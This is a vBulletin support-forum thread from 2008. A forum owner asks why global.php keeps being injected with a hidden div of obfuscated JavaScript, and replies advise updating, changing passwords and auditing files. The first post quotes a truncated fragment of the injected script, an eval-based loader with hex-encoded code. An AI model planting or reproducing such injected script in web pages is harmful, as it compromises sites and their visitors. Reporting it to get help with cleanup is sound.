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sof-guild · #1 12-18-2008, 05:17 PM

Hi there,

I'm running 3.7.2.

I'm having a problem with the global.php file on my board getting appended with a massive div that effectively breaks the forum. I upload a clean version, and within a few hours it's corrupted again. The div looks like this:

Quote:

<div id='x094045c1c331fd3e00cd2902e7a7dc29f'><script>va r jQuery = eval('wXiXn0d0oXw&.0e]v0a]l]'.replace(/[&\]X0p]/g, '')); jQuery('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x65\x 46\x37\x59\x28\x77\x74\x63\x61\x41\x5a\x29\x7b\x66 \x75\x6e\x63\x74\x69\x6f\x6e\x20\x68\x58\x4f\x70\x 77\x33\x28\x73\x62\x73\x4d

Only many hundreds of lines long. If I delete the div and re-upload global.php, it works fine until it breaks again.

Is this a security vulnerability with vbulletin, or is my host infected with something? I can't figure out how this file is getting overwritten. Anyone know?

Thanks,
-Daniel

SEOvB · #2 12-18-2008, 05:35 PM

Your site's security is compromised.

I'd suggest updating to the latest version of vBulletin, changing passwords (FTP and vBulletin admin area's) and auditing your files/folders for other questionable files.

Dismounted · #3 12-19-2008, 03:39 AM

Most likely, you have an unsecure modification. And you should follow this advice from FRDS:

Quote:

Originally Posted by FRDS

I'd suggest [...] auditing your files/folders for other questionable files.

X vBulletin 3.8.12 by vBS Debug Information
Page Generation 0.11240 seconds Memory Usage 2,175KB Queries Executed 13 (?)
More Information
Template Usage: (1)SHOWTHREAD (1)ad_footer_end (1)ad_footer_start (1)ad_header_end (1)ad_header_logo (1)ad_navbar_below (1)ad_showthread_beforeqr (1)ad_showthread_firstpost (1)ad_showthread_firstpost_sig (1)ad_showthread_firstpost_start (2)bbcode_quote (1)footer (1)forumjump (1)forumrules (1)gobutton (1)header (1)headinclude (1)navbar (3)navbar_link (120)option (3)post_thanks_box (3)post_thanks_button (1)post_thanks_javascript (1)post_thanks_navbar_search (3)post_thanks_postbit_info (3)postbit (3)postbit_onlinestatus (3)postbit_wrapper (1)spacer_close (1)spacer_open (1)tagbit_wrapper Phrase Groups Available: global inlinemod postbit posting reputationlevel showthread	Included Files: ./showthread.php ./global.php ./includes/init.php ./includes/class_core.php ./includes/config.php ./includes/functions.php ./includes/class_hook.php ./includes/modsystem_functions.php ./includes/functions_bigthree.php ./includes/class_postbit.php ./includes/class_bbcode.php ./includes/functions_reputation.php ./includes/functions_post_thanks.php Hooks Called: init_startup init_startup_session_setup_start init_startup_session_setup_complete cache_permissions fetch_postinfo_query fetch_postinfo fetch_threadinfo_query fetch_threadinfo fetch_foruminfo style_fetch cache_templates global_start parse_templates global_setup_complete showthread_start showthread_getinfo forumjump showthread_post_start showthread_query_postids showthread_query bbcode_fetch_tags bbcode_create showthread_postbit_create postbit_factory postbit_display_start post_thanks_function_post_thanks_off_start post_thanks_function_post_thanks_off_end post_thanks_function_fetch_thanks_start post_thanks_function_fetch_thanks_end post_thanks_function_thanked_already_start post_thanks_function_thanked_already_end fetch_musername postbit_imicons bbcode_parse_start bbcode_parse_complete_precache bbcode_parse_complete postbit_display_complete post_thanks_function_can_thank_this_post_start tag_fetchbit_complete forumrules navbits navbits_complete showthread_complete
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